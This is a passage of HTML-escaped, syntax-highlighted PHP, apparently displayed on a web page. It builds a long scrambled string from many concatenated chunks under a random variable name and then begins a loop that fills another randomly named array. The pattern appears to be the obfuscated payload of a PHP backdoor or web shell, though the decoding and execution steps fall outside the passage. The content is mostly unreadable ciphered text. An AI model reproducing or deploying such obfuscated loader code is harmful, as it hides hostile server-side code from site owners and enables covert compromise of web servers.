&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;dl lrt.riPet d&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> r &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">t&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">0: = 0 opuw&amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">si&amp;#39;D.t&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">o;[e&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">&amp;gt;ee rl &amp;#39; dse, &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> Pcsh)r&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> &amp;#39; &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> osf&amp;#39;= ee ia mcne y et &amp;#39; gem4 == wrtrd}_l.a h f&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#39;c;&lt;/span>&lt;span class="se">\\&lt;/span>&lt;span class="s2">cc sye ]{isx &amp;lt;&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34; eh_r .;&lt;/span>&lt;span class="se">\$\&amp;#34;&lt;/span>&lt;span class="s2">. &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> ate)&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> rs npsi=.r&amp;amp;p y r&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">o)&amp;#39; &amp;#39; ) nieii&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">fe/Y&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">o/oePh&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">nht t.( .&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">nee&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> t r de.&amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">_&amp;#39;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> dsr;&amp;#39; (i k/rn&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">jm e &amp;amp;p : o]d - x( en&amp;#39;tr&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">i &amp;#39;}&amp;lt;d&amp;gt;ccHoe&amp;lt;o&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;o y&lt;/span>&lt;span class="se">\&amp;#34;\$&lt;/span>&lt;span class="s2"> &amp;#39; gtcc a&amp;lt;m(if / S&amp;gt;v ? &amp;#39;(&amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">. &amp;#39;z 3c.hss0=e e u e?&amp;#39; &amp;#39;&lt;/span>&lt;span class="se">\$\$&lt;/span>&lt;span class="s2"> rt]e&amp;#39;fl=;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">/=&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">uhP cb ril._ (um bti&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">r=&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">&amp;#39; E&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">a &amp;gt; ]&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">) b Pe r.=jt&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">(x&amp;#39;l0=e&amp;#39; p= ; )gw&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">[f)&amp;#39;]ie &lt;/span>&lt;span class="se">\n\$&lt;/span>&lt;span class="s2">h&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#39;;so_&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">hr&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">yfe&amp;lt;F u f&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">td lrsd(&amp;#39;/. R.l &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> )f; a r(}e3&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">st&amp;gt;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">1csx&amp;#39;l- [ &amp;amp;&amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> ros&amp;#39;(;];l(&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">}d2G&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;gt; S&amp;lt;o&amp;gt;&amp;lt; =/I p i_ir e&amp;gt;sir&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">&amp;#39;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> V u}&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> )i&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> s a&lt;/span>&lt;span class="se">\$\n&lt;/span>&lt;span class="s2">l.h&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">p&amp;lt;f0&amp;#39;e8l&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;s&amp;#39; &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">( r i?or=r&lt;/span>&lt;span class="se">\&amp;#34;\n&lt;/span>&lt;span class="s2">,&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">e&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">d&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">i&amp;gt;Ee&lt;/span>&lt;span class="se">\\\&amp;#34;&lt;/span>&lt;span class="s2">Ei &amp;lt;/=(&amp;#39;bL l lGoe &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">ire.&amp;gt;v E&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">e&lt;/span>&lt;span class="se">\n\n&lt;/span>&lt;span class="s2"> l ehgf}=6t&amp;gt;:/i0; 0&amp;#39;e;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">r&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">0&amp;#39; f ulse% i di&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">r&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">Tcn&lt;/span>&lt;span class="se">\\&lt;/span>&lt;span class="s2">Ln&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">id fc&amp;gt;E o eEns c osa &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">a Rv) &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> {e&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34; nemi&lt;/span>&lt;span class="se">\n\&amp;#34;&lt;/span>&lt;span class="s2">/t&amp;lt;/sl0 i0; &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">oem0 (&amp;#39;pdpa1 &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">f=irds;&amp;#39;h&amp;lt;nFp&amp;lt;ni&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">io&amp;lt;S a T:u l n l&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">.l [a) &amp;lt; &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">) aaal&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">scp//ce }f0 &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> wao0: s[[rds w r;i &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;gt;o&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;i&amp;lt;&amp;#39;uipvdll/[ d &amp;#39;[ l a sap_ u &amp;#39;l[ / ) md:e?tsssmr))&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">( }t ndd1 &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">&amp;#39;&amp;#39;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">i&amp;#39;% o(&amp;#39;)&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">r=e&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> nb]tnu&amp;gt;ieob&amp;#39; e .&amp;#39;&amp;lt;t s &amp;lt;saS&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">e}Pu&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;n d ee )&amp;gt;ys:cai )&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">y e&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">e0&amp;#39; m een]1 ri&amp;#39;) c;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">pr. pt&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">r_rrfed &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">c/) s / tEv)&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">Hea i { (rp)&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">l//rxp{{ &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> p r] )- o:xxt,s ls; =sh&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;lt;u&amp;gt;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">tu&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34; ;.e:&amp;gt;ic umb; = t&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">hRa) P m v &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">(u;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">eb/ict&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> m{ e [ &amp;amp; &amp;#39; d eef % ds&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">{ coeit&lt;/span>&lt;span class="se">\\&lt;/span>&lt;span class="s2">&amp;#39;ytt&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#39;xr&amp;lt;lhs pd&amp;gt;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> hk(Vl[ _.e &amp;gt; f&amp;#39;b&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;lt;soapd&amp;gt; &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> o = &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">=&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34; ?;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">e&amp;#39;cc(&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">1 [ei&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> ra cn n p y&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">/ie/eou l&amp;#39;&amp;lt; et &amp;gt;e&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">Eun S ] &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> iCl hhojtn&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> t d&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> &amp;#39; e 0 &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">w Suu&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">os&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">&amp;#39;tf en&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">hpt&amp;lt;metpi&amp;#39;sdbT c o]b ca&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;&amp;lt;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">ydRea E&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> e&amp;lt; hlai teta&amp;gt;.&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> y et u x(0&amp;#39; o&amp;amp;&amp;#39;tt%w&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">se( ad&lt;/span>&lt;span class="se">\\&lt;/span>&lt;span class="s2">ouyde=yef.t&amp;#39;ro&amp;#39;c a)r hbt i[ m L&amp;lt;.c/ eecc mesx&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">b&amp;lt; p y &amp;#39;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">e&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">0x r ;ee1n,.x&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">( lin tpit&amp;#39;p&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;= bs&amp;gt;&amp;gt;U&amp;lt;e d)&amp;gt; olh =r&amp;#39;.e F/&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">hh &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> a)h&amp;#39; ltt.&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">od e &amp;amp;p ;ocm2&amp;#39; l0&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#39;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">se =e_&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> pr&amp;lt;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> evhhe&amp;#39;(a(E&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">pbseD &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> e&amp;gt; &amp;gt;.P ] &amp;#39;a&amp;lt;ot f hd.e) &amp;gt;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">r&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;g&amp;lt;oi =e e &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">wuo0 dx ]]&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">r&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">scPd a(b&amp;lt;t= oi=sis&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">r;lrsci{; &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> N &amp;#39;H&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> ]&amp;gt;/ m i ee&amp;#39;-; &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> ao!tv &amp;#39;l0=e ntd): [8 = ,[gpuOi t&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">riy&amp;#39;cdd&amp;#39;useur&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">o&amp;gt;fhr&lt;/span>&lt;span class="se">\n\n&lt;/span>&lt;span class="s2"> &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">ta &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">/P&amp;lt;.e &amp;lt;t&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;l l ar&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">C&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> &amp;lt;hpo-s psx&amp;#39;l eee &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">0 == &amp;#39;rrtSr hd&amp;gt;npsl=dfbsnpo a&amp;lt;uoe vam v&amp;#39;_/ l./d&amp;lt;&amp;gt; e d(&amp;#39;o !r.g-tc&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">&amp;#39;e6-s r&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> ?&amp;#39; e0 &amp;#39; &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">woieT (i&amp;lt;peua&amp;#39;eime&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;alr dbl c fabe&amp;lt;a.Sa&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">s t&amp;gt;/ e&amp;#39;)n -eml rlm; 0&amp;#39;e []&amp;amp; - x x(trun&amp;#39;[= &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">rfu=bsPnlitmo. &amp;#39;rl&amp;#39;t oll&amp;lt;/l&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">E&amp;gt;&amp;lt;e&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">d&amp;lt;t = rC;t -fieLaao i0; &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> &amp;#39;&amp;#39;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">e) &amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#39;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">yipt]&amp;#39;= d)ot&amp;#39;msO&amp;#39;et(ea ]&amp;gt;y&amp;lt;o rue/tuvL&amp;lt;/ ?&amp;gt;tr (o&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">r =naapsd}f0 i w=0w;wc )wpt[f)d i;r ti=S &amp;#39;&amp;#39;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">(dF [&amp;lt; br ee-treaF/t{d&amp;lt;d&amp;gt; &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">h&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#39;n o L&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">.ptcse&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">( }f r 0&amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">ou&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> oee&amp;#39;(;iN r&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">mtet&amp;#39;Tn _&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">Di &amp;#39;biry a hh&amp;gt;)l&amp;#39;td&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">ot&amp;gt;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> _eCt l rahcied= )&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">( i(0 rtoi?r)&amp;#39;r&lt;/span>&lt;span class="se">\&amp;#34;\n&lt;/span>&lt;span class="s2">rU e.e yx&amp;#39;n&amp;#39;anvP_il t&amp;gt;n&amp;gt;. c&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\\&lt;/span>&lt;span class="s2">o&amp;gt;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> u]d&amp;gt; wd ; Gaoe : ettsssn&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">= &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">t&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">4: lewf l;]e% &amp;#39;L c&amp;#39;capt a maaOFre mF &amp;lt;&amp;#39; hnv&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> {e &amp;gt;&amp;lt; n&amp;gt;&lt;/span>&lt;span class="se">\&amp;#34;\n&lt;/span>&lt;span class="s2"> Ednn aets.t.c m{ &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">oem0 d&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">n(&amp;#39;d&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">,a1 ]L h/hce&amp;#39;vveemlS&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;Ie }pi&amp;#39;b&amp;lt;ee &amp;lt;e &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">).&amp;lt;t l&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> } Tett m dsp&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">c cof o mw&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">o)&amp;#39; []e s[ ds ) o&amp;#39;ot= abn=euTLca&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">_l.r/cx(br ) td o..&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> [re- u ft:&amp;gt;oconi d&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2"> on]d - &amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2"> r&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">&amp;#39;&amp;#39; &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">&amp;#39;% )oe . i&amp;#39;nlac&amp;#39;=e[Etl ne&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">&amp;gt;bhe&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">r )&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">d&amp;gt; a e &amp;#39;(nD s i /&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">momtl et de e?&amp;#39; w=[m e o]1 rc&lt;/span>&lt;span class="se">\$\$\&amp;#34;&lt;/span>&lt;span class="s2">ohaurtd&amp;#39;=&amp;#39;Sor a d&amp;lt;&amp;gt;occ&amp;gt;t &amp;lt; ?&amp;gt; dppc d&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#39;ti t lc/&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">/m/ae y er= ; r &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">o:x w,s { hfv&amp;lt;nime-yif&amp;#39;s[re m&amp;#39;ib&amp;lt; (m&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">a / {d&lt;/span>&lt;span class="se">\&amp;#34;\&amp;#34;&lt;/span>&lt;span class="s2"> =orh oC-s -heom&amp;lt;apbip &amp;amp;p [ &amp;amp;&amp;#39;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2"> i(ed e n % &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">!oiah=de=fpriUu&amp;#39;ya e.r b&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">&amp;#39;d;b t&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">$iyzQ5h8qf6&lt;/span> &lt;span class="o">.=&lt;/span> &lt;span class="s2">&amp;#34; &lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">i. &lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">sio woTp re(ma!jionee e &amp;amp;&lt;/span>&lt;span class="se">\&amp;#34;&lt;/span>&lt;span class="s2">( r &lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">t&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">xe&amp;#39;c e&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">1 i ll2&amp;#39;d=&amp;#39;oe&amp;#39;lpbf)d &amp;#39;&lt;/span>&lt;span class="se">\$&lt;/span>&lt;span class="s2">.sr&amp;lt;cr&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">l h r . .in &amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nv">$i&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nv">$i&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="nv">$pPziZoJiMpcu&lt;/span>&lt;span class="p">;&lt;/span> &lt;span class="nv">$i&lt;/span>&lt;span class="o">++&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="nv">$liGBOKxsOGMz&lt;/span>&lt;span class="p">[]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
